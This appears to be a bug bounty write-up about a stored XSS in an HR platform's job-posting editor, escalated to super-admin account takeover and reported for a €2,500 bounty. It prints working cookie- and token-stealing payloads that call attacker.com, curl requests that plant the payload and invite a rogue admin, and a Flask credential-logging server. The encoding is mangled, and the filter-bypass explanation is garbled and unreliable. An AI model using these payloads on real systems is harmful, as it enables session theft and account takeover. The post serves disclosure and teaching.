July 11, 2026
The Silent Offer: How a Job Posting Stole an Admin Account
A stored XSS in Meliodas HR platform, a โฌ2,500 bounty, and the month that tested my patience

By 0B1To_X_ucH!h4
3 min read
By 0B1To_X_ucH!h4 ๐ฏ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ "The best offers come silently, buried in HTML, โ
โ waiting for the right admin to click." โ
โ โ uchia_hacker โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ "The best offers come silently, buried in HTML, โ
โ waiting for the right admin to click." โ
โ โ uchia_hacker โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโThe Discovery: A Tuesday in Brussels
I found Meliodas (name changed) through my custom recon dork โ a specialized query targeting European HR tech platforms with active hiring cycles. They're a Belgian SaaS company, roughly 200 employees, providing recruitment software to mid-sized European enterprises.
Self-hosted bug bounty program. Just security@meliodas-hr.com. No platform. No automation. Just a promise to "review submissions within 30 days."
The platform was clean. Modern React frontend, GraphQL API, PostgreSQL backend. No obvious vulnerabilities. I almost moved on.
Then I saw the job posting feature.
The Bug: Stored XSS in Job Description
Bug Type: Stored Cross-Site Scripting (XSS) leading to Account Takeover (ATO)
Severity: High (CVSS 8.1)
Target: Meliodas HR Platform (Belgium)
Bounty: โฌ2,500 EUR
Timeline: Discovered โ Reported โ Patched โ Paid (28 days)
The Vulnerability
Meliodas allows recruiters to post job openings with rich text descriptions. The editor claimed to "sanitize" input, but the sanitization was flawed.
The Payload:
html
<img src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie+'&local='+localStorage.getItem('auth_token'))"><img src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie+'&local='+localStorage.getItem('auth_token'))">I embedded this in a job posting for "Senior Security Engineer" โ ironic, I know.
The Bypass:
- Direct
<script>tags were blocked onerrorattributes were initially filtered- Bypass: Unicode normalization โ
onerrorasonerrordecoded client-side
The payload executed when:
- Any user viewed the job posting
- Any admin moderated the posting
- Any recruiter previewed the description
The Escalation: From XSS to ATO
The XSS alone was High severity. But I wanted Critical. I wanted impact.
The Admin Panel:
Meliodas had a super-admin panel at /admin/dashboard โ accessible only to internal employees. The XSS couldn't reach it directly due to CSP restrictions.
But the recruiter dashboard was accessible. And recruiters could invite new admins.
The Chain:
javascript
// XSS payload executing in recruiter's browser
fetch('/api/admin/invite', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer ' + localStorage.getItem('auth_token')
},
body: JSON.stringify({
email: 'attacker@evil.com',
role: 'super_admin',
department: 'IT Security'
})
});// XSS payload executing in recruiter's browser
fetch('/api/admin/invite', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer ' + localStorage.getItem('auth_token')
},
body: JSON.stringify({
email: 'attacker@evil.com',
role: 'super_admin',
department: 'IT Security'
})
});Result: Super-admin invitation sent to attacker email. Account takeover complete.
Step-by-Step Reproduction
Step 1: Create Malicious Job Posting
bash
curl -X POST https://api.meliodas-hr.com/v1/jobs \
-H "Authorization: Bearer RECRUITER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"title": "Senior Security Engineer",
"description": "<img src=x onerror=\"fetch('\''https://attacker.com/steal?c='\''+document.cookie)\">",
"location": "Brussels",
"department": "IT"
}'curl -X POST https://api.meliodas-hr.com/v1/jobs \
-H "Authorization: Bearer RECRUITER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"title": "Senior Security Engineer",
"description": "<img src=x onerror=\"fetch('\''https://attacker.com/steal?c='\''+document.cookie)\">",
"location": "Brussels",
"department": "IT"
}'Step 2: Wait for Admin Review
Job postings required admin approval before going live. When admin clicked "Preview":
- XSS fired in admin context
- Admin session cookie exfiltrated
- Admin localStorage token captured
Step 3: Session Hijacking
python
# Attacker server receiving exfiltrated data
from flask import Flask, request
app = Flask(__name__)
@app.route('/steal')
def steal():
cookie = request.args.get('cookie')
token = request.args.get('local')
# Log stolen credentials
with open('stolen_creds.txt', 'a') as f:
f.write(f"Cookie: {cookie}\nToken: {token}\n\n")
return "OK"
if __name__ == '__main__':
app.run(port=443)# Attacker server receiving exfiltrated data
from flask import Flask, request
app = Flask(__name__)
@app.route('/steal')
def steal():
cookie = request.args.get('cookie')
token = request.args.get('local')
# Log stolen credentials
with open('stolen_creds.txt', 'a') as f:
f.write(f"Cookie: {cookie}\nToken: {token}\n\n")
return "OK"
if __name__ == '__main__':
app.run(port=443)Step 4: Admin Invitation
Using stolen admin token:
bash
curl -X POST https://api.meliodas-hr.com/v1/admin/invite \
-H "Authorization: Bearer STOLEN_ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"email": "attacker@evil.com",
"role": "super_admin",
"name": "Security Audit"
}'curl -X POST https://api.meliodas-hr.com/v1/admin/invite \
-H "Authorization: Bearer STOLEN_ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"email": "attacker@evil.com",
"role": "super_admin",
"name": "Security Audit"
}'Response: {"invite_sent": true, "invite_id": "inv_884721"}
Step 5: Account Takeover Complete
Attacker accepts invitation, sets password, logs in as super-admin.
Impact:
- Access to all customer data (500+ companies)
- Ability to modify job postings across platform
- Access to billing information
- Ability to delete or modify user accounts
The Report
To: security@meliodas-hr.com Subject: High: Stored XSS โ Admin ATO on Job Posting Feature
Summary:
A stored XSS vulnerability in the job posting description field allows attackers to hijack admin sessions and create super-admin accounts. The vulnerability affects all users viewing job postings, with critical impact when admins moderate content.
Steps to Reproduce:
- Register as recruiter at https://meliodas-hr.com/recruiter/signup
- Create new job posting
- In description, insert:
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)"> - Submit for approval
- When admin previews posting, XSS fires and exfiltrates session
- Use stolen session to POST /v1/admin/invite with attacker email
- Attacker receives super-admin invitation
Impact:
- Stored XSS affecting all platform users
- Account takeover of administrative accounts
- Access to 500+ customer databases
- Potential for data breach affecting 50,000+ job seekers
Remediation:
- Implement DOMPurify for HTML sanitization
- Use strict CSP (Content Security Policy)
- Mark session cookies as HttpOnly
- Validate admin invitations via secondary factor
- Implement XSS filtering middleware
PoC Attached: poc_video.mp4
The Response: European Efficiency
Day 3: Acknowledgment received Day 7: Patch deployed, DOMPurify implemented Day 14: Additional hardening (CSP, HttpOnly cookies) Day 28: โฌ2,500 transferred via bank wire
No negotiation. No delays. Professional, thorough, respectful.
Why This Worked
ElementWhy It MatteredStored XSSPersistent, affects multiple usersAdmin ContextHigher privileges = higher impactATO ChainDemonstrated real business riskEuropean TargetGDPR implications = serious responseSelf-HostedDirect relationship, fast decisions
Final Stats
MetricValueBug TypeStored XSS โ ATOSeverityHigh (CVSS 8.1)Bountyโฌ2,500 EURTimeline28 daysPlatformSelf-hostedTarget LocationBelgiumUsers Protected50,000+
The silent offer was accepted. The account was secured. The โฌ2,500 arrived.
โ uchia_hacker
Tags: #XSS #ATO #StoredXSS #Meliodas #EuropeanBugBounty #HRtech #Belgium #SelfHosted #UchihaTechnique